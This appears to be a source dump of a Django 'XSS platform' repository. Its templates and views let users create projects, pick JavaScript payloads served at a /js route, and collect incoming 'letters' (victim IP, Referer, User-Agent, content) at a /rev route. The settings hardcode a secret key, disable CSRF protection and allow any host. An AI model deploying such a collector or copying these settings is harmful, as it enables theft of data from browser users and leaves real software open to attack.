url('#{$mdi-font-path}/#{$mdi-filename}-webfont.woff2?v=#{$mdi-version}') format('woff2'), 6 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.woff?v=#{$mdi-version}') format('woff'), 7 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.ttf?v=#{$mdi-version}') format('truetype'), 8 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.svg?v=#{$mdi-version}##{$mdi-filename}#{$mdi-font-weight}') format('svg'); 9 | font-weight: normal; 10 | font-style: normal; 11 | } 12 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/materialdesignicons.scss: -------------------------------------------------------------------------------- 1 | /* MaterialDesignIcons.com */ 2 | @import "variables"; 3 | @import "functions"; 4 | @import "path"; 5 | @import "core"; 6 | @import "icons"; 7 | @import "extras"; 8 | @import "animated"; -------------------------------------------------------------------------------- /templates/index/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 26 |
27 |
28 |
29 |
30 |

31 | XSS平台
32 | 使用Django打造 33 |

34 |
项目开源于Github
35 | 了解更多 36 |
37 |
38 | man mask 39 |
40 |
41 |
42 |
43 |
44 |
45 | 49 |
50 |
51 |
52 | 53 | -------------------------------------------------------------------------------- /templates/user/addproject.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | XSS平台 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 60 |
61 | 121 |
122 |
123 |
124 |
125 |
126 |
127 |

添加项目

128 |

129 | 请填写下列字段 130 |

131 |
132 |
133 | 134 | 135 |
136 |
137 | 138 | 139 |
140 |
141 | 142 | 149 |
150 |
151 |
152 |
153 | 157 |
158 |
159 |
160 |

请选择Payload

161 |
Payload说明
162 |
163 | 164 | 165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 | Copyright © 2019 Made by Yunen. All rights reserved. 174 | Hand-crafted & made with 175 |
176 |
177 |
178 |
179 |
180 |
181 | Fail× 182 |
183 |
184 |
185 |
186 |

修改密码

187 |

188 | 如果遇到任何问题,请联系管理员. 189 |

190 |
191 |
192 | 193 | 194 |
195 |
196 | 197 | 198 |
199 |
200 | 201 | 202 |
203 |
204 | 205 | 206 |
207 | 208 | 209 |
210 |
211 |
212 |
213 | 214 | 215 | 216 | 217 | 218 | 219 | -------------------------------------------------------------------------------- /templates/user/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 49 |
50 |
51 | 52 | 53 | 54 | 55 | 56 | 112 | 113 | -------------------------------------------------------------------------------- /templates/user/project.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | XSS平台 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 60 |
61 | 121 |
122 |
123 | 128 |
129 |
130 |
131 |
132 |

Project table

133 | 134 | 135 | 136 | 139 | 142 | 145 | 148 | 151 | 154 | 157 | 160 | 163 | 166 | 167 | 168 | 169 | {% for project in project_list %} 170 | 171 | 174 | 177 | 180 | 183 | 186 | 189 | 192 | 195 | 198 | 201 | 202 | {% endfor %} 203 | 204 |
137 | 项目ID 138 | 140 | 项目名称 141 | 143 | Payload 144 | 146 | 项目描述 147 | 149 | 创建时间 150 | 152 | 短连接 153 | 155 | 未读信封 156 | 158 | 信封数 159 | 161 | 项目详情 162 | 164 | 删除项目 165 |
172 | {{ project.0 }} 173 | 175 | {{ project.1 }} 176 | 178 | {{ project.2 }} 179 | 181 | {{ project.3 }} 182 | 184 | {{ project.4 }} 185 | 187 | {{ project.5 }} 188 | 190 | {{ project.6 }} 191 | 193 | {{ project.7 }} 194 | 196 | 197 | 199 | 200 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 | Copyright © 2019 Made by Yunen. All rights reserved. 213 | Hand-crafted & made with 214 |
215 |
216 |
217 |
218 |
219 |
220 | Fail× 221 |
222 |
223 |
224 |
225 |

修改密码

226 |

227 | 如果遇到任何问题,请联系管理员. 228 |

229 |
230 |
231 | 232 | 233 |
234 |
235 | 236 | 237 |
238 |
239 | 240 | 241 |
242 |
243 | 244 | 245 |
246 | 247 | 248 |
249 |
250 |
251 |
252 | 253 | 254 | 255 | 256 | 257 | 258 | -------------------------------------------------------------------------------- /templates/user/projectinfo.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | XSS平台 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 60 |
61 | 121 |
122 |
123 | 128 |
129 |
130 |
131 |
132 |

Letter table

133 | 134 | 135 | 136 | 139 | 142 | 145 | 148 | 151 | 154 | 157 | 160 | 161 | 162 | 163 | {% for letter in letter_list %} 164 | 165 | 168 | 171 | 174 | 177 | 180 | 187 | 190 | 193 | 194 | {% endfor %} 195 | 196 |
137 | 接收时间 138 | 140 | IP 141 | 143 | Referer 144 | 146 | Method 147 | 149 | User-Agent 150 | 152 | 状态 153 | 155 | 内容 156 | 158 | 删除 159 |
166 | {{ letter.0 }} 167 | 169 | {{ letter.1 }} 170 | 172 | {{ letter.2 }} 173 | 175 | {{ letter.3 }} 176 | 178 | {{ letter.4 }} 179 | 181 | {% if letter.5 == "True" %} 182 | 未读 183 | {% else %} 184 | 已读 185 | {% endif %} 186 | 188 | 189 | 191 | 192 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 | Copyright © 2019 Made by Yunen. All rights reserved. 205 | Hand-crafted & made with 206 |
207 |
208 |
209 |
210 |
211 |
212 | 信封内容× 213 |
214 |

Thank you for using this tool.

215 |
216 |
217 | 218 |
219 |
220 |
221 | Fail× 222 |
223 |
224 |
225 |
226 |

修改密码

227 |

228 | 如果遇到任何问题,请联系管理员. 229 |

230 |
231 |
232 | 233 | 234 |
235 |
236 | 237 | 238 |
239 |
240 | 241 | 242 |
243 |
244 | 245 | 246 |
247 | 248 | 249 |
250 |
251 |
252 |
253 | 254 | 255 | 256 | 257 | 258 | 259 | -------------------------------------------------------------------------------- /templates/user/register.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Register 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 56 |
57 |
58 | 59 | 60 | 61 | 62 | 63 | 120 | 121 | -------------------------------------------------------------------------------- /xss/__init__.py: -------------------------------------------------------------------------------- 1 | import pymysql 2 | 3 | pymysql.install_as_MySQLdb() #使用pymysql库作为Mysql引擎 4 | -------------------------------------------------------------------------------- /xss/settings.py: -------------------------------------------------------------------------------- 1 | from config import Mysql_port,Mysql_pass,Mysql_host,Mysql_user,Mysql_db 2 | import os 3 | 4 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 5 | 6 | SECRET_KEY = '!z$vm&d#7=x+4egqhj8ssv3u@-^y=ved#creedjq0zi%rwiuea' 7 | 8 | DEBUG = False 9 | 10 | ALLOWED_HOSTS = ['*'] 11 | 12 | INSTALLED_APPS = [ 13 | 'django.contrib.admin', 14 | 'django.contrib.auth', 15 | 'django.contrib.contenttypes', 16 | 'django.contrib.sessions', 17 | 'django.contrib.messages', 18 | 'django.contrib.staticfiles', 19 | 'xssuser', 20 | 'function' 21 | ] 22 | 23 | MIDDLEWARE = [ 24 | 'django.middleware.security.SecurityMiddleware', 25 | 'django.contrib.sessions.middleware.SessionMiddleware', 26 | 'django.middleware.common.CommonMiddleware', 27 | #'django.middleware.csrf.CsrfViewMiddleware', 28 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 29 | 'django.contrib.messages.middleware.MessageMiddleware', 30 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 31 | ] 32 | 33 | ROOT_URLCONF = 'xss.urls' 34 | 35 | TEMPLATES = [ 36 | { 37 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 38 | 'DIRS': [os.path.join(BASE_DIR,'templates')], #定义模板文件位置 39 | 'APP_DIRS': False, #禁止app从默认文件夹加载模板 40 | 'OPTIONS': { 41 | 'context_processors': [ 42 | 'django.template.context_processors.debug', 43 | 'django.template.context_processors.request', 44 | 'django.contrib.auth.context_processors.auth', 45 | 'django.contrib.messages.context_processors.messages', 46 | ], 47 | 'builtins':[ 48 | 'django.templatetags.static' 49 | ], 50 | }, 51 | }, 52 | ] 53 | 54 | WSGI_APPLICATION = 'xss.wsgi.application' 55 | 56 | 57 | DATABASES = { 58 | 'default': { 59 | 'ENGINE': 'django.db.backends.mysql', 60 | 'NAME': Mysql_db, 61 | 'USER': Mysql_user, 62 | 'PASSWORD': Mysql_pass, 63 | 'HOST': Mysql_host, 64 | 'PORT': Mysql_port, 65 | } 66 | } 67 | 68 | 69 | AUTH_PASSWORD_VALIDATORS = [ 70 | { 71 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 72 | }, 73 | { 74 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 75 | }, 76 | { 77 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 78 | }, 79 | { 80 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 81 | }, 82 | ] 83 | 84 | LANGUAGE_CODE = 'en-us' 85 | 86 | TIME_ZONE = 'UTC' 87 | 88 | USE_I18N = True 89 | 90 | USE_L10N = True 91 | 92 | USE_TZ = True 93 | 94 | LOGIN_URL='/user/login' #未登录跳转地址 95 | 96 | STATIC_URL = '/static/' 97 | STATIC_ROOT = os.path.join(BASE_DIR,'static') #自定义静态文件存放处 -------------------------------------------------------------------------------- /xss/urls.py: -------------------------------------------------------------------------------- 1 | from . import settings 2 | from .views import * 3 | from django.views import static 4 | from django.contrib import admin 5 | from django.urls import include, re_path 6 | 7 | 8 | urlpatterns = [ 9 | re_path(r'^$',show_index), 10 | re_path(r'^js',show_pyload), 11 | re_path(r'^rev',rev_value), 12 | re_path(r'^user/',include('xssuser.urls')), 13 | re_path(r'^admin/', admin.site.urls), 14 | re_path(r'^static/(?P.*)$', static.serve, {'document_root': settings.STATIC_ROOT}, name='static'), 15 | ] 16 | -------------------------------------------------------------------------------- /xss/views.py: -------------------------------------------------------------------------------- 1 | from function.show import show_payload_func 2 | from function.receive import rev_letter_func 3 | from django.shortcuts import render 4 | from django.http import HttpResponse 5 | 6 | # 首页 7 | def show_index(request): 8 | return render(request,'index/index.html') 9 | 10 | def show_pyload(request): 11 | if request.method == 'GET': 12 | project_id = request.GET.get('id') 13 | elif request.method == 'POST': 14 | project_id = request.POST.get('id') 15 | else: 16 | project_id = 1 17 | payload = show_payload_func(project_id) 18 | return HttpResponse(payload,content_type='text/plain') 19 | 20 | def rev_value(request): 21 | status = rev_letter_func(request) 22 | if status == 'True': 23 | return HttpResponse('200 OK') 24 | else: 25 | return HttpResponse('404 Fail') -------------------------------------------------------------------------------- /xss/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for xss project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'xss.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /xssuser/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/xssuser/__init__.py -------------------------------------------------------------------------------- /xssuser/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class XssuserConfig(AppConfig): 5 | name = 'xssuser' 6 | -------------------------------------------------------------------------------- /xssuser/urls.py: -------------------------------------------------------------------------------- 1 | from .views import * 2 | from django.urls import re_path 3 | 4 | urlpatterns = [ 5 | re_path(r'^$',show_index), 6 | re_path(r'^login\/+$',user_login), 7 | re_path(r'^register\/+$',user_register), 8 | re_path(r'^logout\/+$',user_logout), 9 | re_path(r'^changepass\/+$', user_changepass), 10 | re_path(r'^project\/+$',show_project), 11 | re_path(r'^projectinfo\/+$',show_letter), 12 | re_path(r'^addproject\/+$',show_addproject), 13 | re_path(r'^ajax_del_letter\/+$', ajax_delete_letter), 14 | re_path(r'^ajax_add_project\/+$', ajax_add_project), 15 | re_path(r'^ajax_del_project\/+$',ajax_delete_project), 16 | re_path(r'^ajax_letter_value\/+$', ajax_letter_value), 17 | re_path(r'^ajax_payload_explain\/+$',ajax_payload_explain) 18 | ] -------------------------------------------------------------------------------- /xssuser/views.py: -------------------------------------------------------------------------------- 1 | from django.http import HttpResponse 2 | from django.shortcuts import render,redirect 3 | from config import Safe_code 4 | from function.account import * 5 | from function.ajax import * 6 | from function.show import * 7 | from function.filter import Method_check,Value_check,None_to_Blank 8 | from function.keep import keep_alive 9 | from django.contrib.auth.decorators import login_required 10 | 11 | 12 | def user_login(request): 13 | if request.user.is_authenticated: #检测是否登录,如登录则跳转 14 | return redirect('/user/') 15 | if request.method == 'GET': #按照请求方式返回内容 16 | return render(request,'user/login.html',{'Safe_code':Safe_code}) 17 | elif request.method == 'POST': 18 | result = login(request) 19 | return HttpResponse(result) 20 | else: 21 | return HttpResponse('请求方式错误') 22 | 23 | def user_register(request): 24 | if request.user.is_authenticated: 25 | return redirect('/user/') 26 | if request.method == 'GET': 27 | return render(request, 'user/register.html',{'Safe_code':Safe_code}) 28 | elif request.method == 'POST': 29 | result = register(request) 30 | return HttpResponse(result) 31 | else: 32 | return HttpResponse('请求方式错误') 33 | 34 | @login_required 35 | def user_logout(request): #用户登出 36 | logout(request) 37 | return redirect('/user/login') 38 | 39 | @login_required 40 | def user_changepass(request): #修改密码 41 | if not Method_check(request,'POST'): 42 | return HttpResponse('请求方式错误') 43 | result = change_pass(request) 44 | return HttpResponse(result) 45 | 46 | @login_required #以下函数均要求登录权限 47 | def show_index(request): #首页 48 | username = request.user.username 49 | render_dic = show_index_number_func(username) 50 | render_dic['payload_list'] = show_index_payload_func() 51 | return render(request,'user/index.html',render_dic) 52 | 53 | @login_required 54 | def show_project(request): #项目列表页 55 | username = request.user.username 56 | render_dic = {'project_list':show_table_project_func(username)} 57 | return render(request,'user/project.html',render_dic) 58 | 59 | def show_addproject(request): 60 | render_dic = {'payload_name_list':show_payload_name_func()} 61 | return render(request,'user/addproject.html',render_dic) 62 | 63 | 64 | @login_required 65 | def show_letter(request): #项目详情页 66 | if not Method_check(request,'GET'): #限制请求方式 67 | return HttpResponse('请求方式错误') 68 | 69 | username = request.user.username 70 | project_id = request.GET.get('id') 71 | 72 | if not Value_check(project_id): #检查字段完整 73 | return HttpResponse('请检查字段是否填写完整') 74 | 75 | render_dic = {'letter_list':show_table_letter_func(username,project_id)} 76 | return render(request,'user/projectinfo.html',render_dic) 77 | 78 | @login_required 79 | def ajax_letter_value(request): #Ajax获取信封内容 80 | username = request.user.username 81 | if not Method_check(request,'POST'): #限制请求方式 82 | return HttpResponse('{"status":500,"value":"请求方式错误"}') 83 | 84 | letter_id = request.POST.get('letterid') 85 | 86 | if not Value_check(letter_id): #检查字段完整 87 | return HttpResponse('{"status":500,"value":"请检查字段是否填写完整"}') 88 | 89 | result = ajax_letter_value_func(username,letter_id) 90 | return HttpResponse('{' + '"status":{0},"value":"{1}"'.format( 91 | result[0], result[1]) + '}') 92 | 93 | @login_required 94 | def ajax_payload_explain(request): #Ajax获取explain 95 | if not Method_check(request,'POST'): #限制请求方式 96 | return HttpResponse('{"status":500,"value":"请求方式错误"}') 97 | 98 | payload_name = request.POST.get('payload_name') 99 | 100 | if not Value_check(payload_name): #检查字段完整 101 | return HttpResponse('{"status":500,"value":"请检查字段是否填写完整"}') 102 | 103 | result = ajax_payload_explain_func(payload_name) 104 | return HttpResponse('{'+'"status":{0},"value":"{1}","parameter":"{2}"'.format( 105 | result[0],result[1],result[2])+'}') 106 | 107 | @login_required 108 | def ajax_delete_letter(request): #删除信封 109 | if not Method_check(request,'POST'): #限制请求方式 110 | return HttpResponse('{"status":500,"value":"请求方式错误"}') 111 | 112 | username = request.user.username 113 | letter_id = request.POST.get('letterid') 114 | 115 | if not Value_check(letter_id): #检查字段完整 116 | return HttpResponse('{"status":500,"value":"请检查字段是否填写完整"}') 117 | 118 | result = ajax_delete_letter_func(username,letter_id) 119 | return HttpResponse('{' + '"status":{0},"value":"{1}"'.format(result[0], result[1]) + '}') 120 | 121 | @login_required 122 | def ajax_delete_project(request): #删除项目 123 | if not Method_check(request,'POST'): #限制请求方式 124 | return HttpResponse('请求方式错误') 125 | 126 | username = request.user.username 127 | project_id = request.POST.get('projectid') 128 | 129 | if not Value_check(project_id): #检查字段完整 130 | return HttpResponse('{"status":500,"value":"请检查字段是否填写完整"}') 131 | 132 | result = ajax_delete_project_func(username,project_id) 133 | return HttpResponse('{' + '"status":{0},"value":"{1}"'.format(result[0], result[1]) + '}') 134 | 135 | @login_required 136 | def ajax_add_project(request): 137 | if not Method_check(request,'POST'): #限制请求方式 138 | return HttpResponse('请求方式错误') 139 | 140 | username = request.user.username 141 | name = request.POST.get('name') 142 | describe = request.POST.get('describe') 143 | payload = request.POST.get('payload') 144 | send_email = request.POST.get('send_email').title() 145 | diy_payload = request.POST.get('diy_payload') if request.POST.get('diy_payload') != None else '' 146 | keep_alive = request.POST.get('keep_alive') if request.POST.get('keep_alive') != None else 'False' 147 | keep_alive = keep_alive.title() 148 | parameter = request.POST.get('parameter') if request.POST.get('parameter') != None else '' 149 | 150 | if not Value_check(name,describe,payload,send_email): #检查字段完整 151 | return HttpResponse('{"status":500,"value":"请检查字段是否填写完整"}') 152 | result = ajax_add_project_func(username, name, describe, payload, 153 | send_email, diy_payload=diy_payload, 154 | parameter=parameter,keep_alive=keep_alive) 155 | return HttpResponse('{'+'"status":{0},"value":"{1}"'.format(result[0],result[1])+'}') 156 | --------------------------------------------------------------------------------